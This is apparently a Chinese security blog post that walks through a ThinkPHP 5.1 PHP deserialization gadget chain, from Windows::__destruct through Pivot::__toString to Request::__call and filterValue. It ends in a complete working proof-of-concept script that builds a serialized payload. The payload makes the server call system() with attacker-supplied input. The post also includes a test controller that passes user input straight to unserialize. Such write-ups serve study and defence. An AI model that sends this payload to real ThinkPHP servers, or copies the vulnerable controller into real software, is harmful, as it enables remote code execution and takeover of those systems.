之前护网遇到好几个Thinkphp的框架,借此来学习其中一个漏洞

__destruct()作为入口点

我们找到Whindows.php__destruct()魔术方法作为链子的入口,并跟进removeFiles()函数

image-20250522163610527

image-20250522170112570

这里的$filename变量是一个string类型,当我们传入一个对象到期望接收字符串的函数时,PHP会自动尝试将该对象转换为字符串。这时会触发对象的 __toString() 魔术方法

寻找触发__toString的关联类

因此我们再次找到Conversion.php中的__toString方法

image-20250522170541135

但需要注意的是该方法的Conversion是一个trait image-20250522172337017

trait关键字的作用:

  • trait是PHP从5.4.0版本开始引入的一种代码复用机制
  • 它允许开发者创建一组方法,这些方法可以被不同的类引入使用
  • trait的主要目的是解决PHP单继承的限制,实现代码复用

trait只是一组方法的集合,不是完整的类,因此trait不能被实例化

正确的触发方式是

1
2
3
4
5
6
7
class SomeModel extends \think\Model 
{
use \think\model\concern\Conversion; // 使用trait
}

$model = new SomeModel(); // 实例化使用了trait的类
echo $model;

至此我们需要寻找一个关联类,全局搜索\Conversion,找到仅有的Model.php

image-20250522172910047

但是这里的Model类是一个抽象类

抽象类的特点:

  • 使用 abstract 关键字声明
  • 可以包含抽象方法和具体方法
  • 不能被直接实例化
  • 必须被其他类继承才能使用
  • 子类必须实现抽象类中的所有抽象方法

因此抽象类更多的是作为一个基类,定义子类应该遵循的规范;所以你可以看到Model类作为一个基础模型类,提供了统一的数据库操作接口,通过trait引入了多个功能模块,提供了可复用的基础功能

我们需要找到一个继承它的子类,这里是Pivot.php

image-20250522173753780

届时,我们实例化Pivot类即可

寻找触发__call的类

我们回到刚才的__toString()跟进toJson()

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

当对象被当作字符串使用时,会触发这个转换过程:将模型对象转换为JSON字符串,首先调用toArray()将其转换为数组,再使用json_encode()转换为JSON。

我们跟进到toArray()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

$item[$key] = $relation ? $relation->append($name)->toArray() : [];
...

首先需要一个append属性(存储需要追加的关联属性列表,例如['profile' => ['age', 'address']]),遍历所有需要追加的属性,如果$name是数组,尝试获取关联数据,我们跟进getRelation()

image-20250522181811109

当获取不到数据时,会被设置为NULL(代表查询到了一个不存在的关联关系,null可以知道这个关联联系不存在),此时跟进getAttr()

1
2
3
4
5
6
7
8
9
10
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
...

这里我们进入了一个try-catch块,具体结果需要继续跟进getData()

1
2
3
4
5
6
7
8
9
10
11
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

此时$name肯定不为null,并且$relation先前也为空,因此加上data数据可控,所以$value就成了data[$name],而$relation也会被赋予$value的值

$relation是我们可控的对象(通过 getAttr($key) 获取的),这个对象可以是任何类型的对象,不一定会包含 visible 方法,当调用不存在的方法 visible() 时,会触发 __call 魔术方法,所以我们可以通过构造特定的对象来劫持这个 __call 调用

而现在我们需要找到存在__call魔术方法的类,定位到Request.php

1
2
3
4
5
6
7
8
9
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

显然call_user_func_array()是一个可执行命令的点,其中array_unshift函数将当前Request对象添加到参数数组的开头,这里$this->hook是可控的,但是array_unshift使得$args数组不可控

寻找最终的RCE出口处

所以我们需要一个绕过思路:

需要找一个不需要参数的函数作为目标函数,或者找一个第一个参数正好需要是Request对象的函数,通过设置 $this->hook[$method] 为这样的函数,实现跳板的作用

我们找到filterValue函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}

return $value;
}

call_user_func($filter, $value)尤为瞩目,显然这两个参数是可控的,$value也不会因为其它函数而改变其自身结构,我们跟踪谁调用了这个filterValue()

input()

image-20250523002415931

但是这里面的参数都不是用户可控的,继续跟踪到param()

image-20250526192439864

依旧不可控,继续跟踪到isAjax()

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

$this->config['var_ajax']就是我们要构造的参数,对应$name = $this->config['var_ajax']

相当于这里要去寻找$this->config['var_ajax']被设置的键名(GET、POST等参数),如果设置为空,那么任意字符串可以被当作键名

1
2
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
  • this->param :当前已存在的参数
  • $this->get(false) :获取所有GET参数
  • $vars :根据请求方法(POST/PUT/DELETE/PATCH)获取的参数
  • $this->route(false) :获取路由参数

现在$data,$name都已经可控了,还差$filter,我们从input()中跟进getFilter

image-20250523005217732

其中

image-20250523005554580

Poc

链子完整调用流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Windows::__destruct()
→ Windows::removeFiles()
→ file_exists($pivotObj) 触发 __toString()
→ Pivot::__toString() (通过Conversion trait)
→ Pivot::toJson()
→ Pivot::toArray()
→ Pivot::getRelation() → getAttr()
→ 触发Request::__call('visible')
→ Request::isAjax()
→ Request::param()
→ Request::input()
→ Request::filterValue()
→ call_user_func('system', 'phpinfo()')

首先从__destruct()开始,通过removeFile()file_exists(new Pivot())触发__toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
namespace think\process\pipes{
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files = [new Pivot()];
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model {

}
}

由于Pivot继承Model类,conversation类是一个trait,因此,我们需要借助基类去实现初始构造,同时在data处设置与Requst类的桥梁,根据之前的分析append得不为空,同时键得和data一样才能到return $this->data[$name];这一步

1
2
3
4
5
6
7
8
9
10
namespace think{
abstract class Model {
protected $append = [];
private $data = [];
public function __construct() {
$this->append = ["Qu43ter"=>["1"]];
$this->data = ["Qu43ter"=>new Request()];
}
}
}

由于Request()类存在__call()方法,我们需要在$this->hook设置visible这个不存在的方法来触发,同时其关联的值为拥有可控参数的isAjax;执行命令的参数为$param,其赋值给call_user_func$data

1
2
3
4
5
6
7
8
9
10
11
12
13
namespace think{
class Request {
protected $hook = [];
protected $filter = "system";
protected $config = [];

function __construct(){
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->filter = "system";
$this->config = ['var_ajax'=>'',];
}
}
}

完整Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace think{
abstract class Model {
protected $append = [];
private $data = [];
public function __construct() {
$this->append = ["Qu43ter"=>["1"]];
$this->data = ["Qu43ter"=>new Request()];
}
}
}

namespace think{
class Request {
protected $hook = [];
protected $filter = "system";
protected $config = [];

function __construct(){
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->filter = "system";
$this->config = ['var_ajax'=>'',];
}
}
}

namespace think\process\pipes{
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files = [new Pivot()];
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model {

}
}

namespace {
use think\process\pipes\Windows;
echo (base64_encode(serialize(new Windows())));
}
?>

在测试之前我们需要自己构建一个反序列化点,app\index\controller下的Index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace app\index\controller;

class Index
{
public function index($q = "")
{
unserialize(base64_decode($q));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

image-20250526194510195

或者加载phar的方式

image-20250526201244426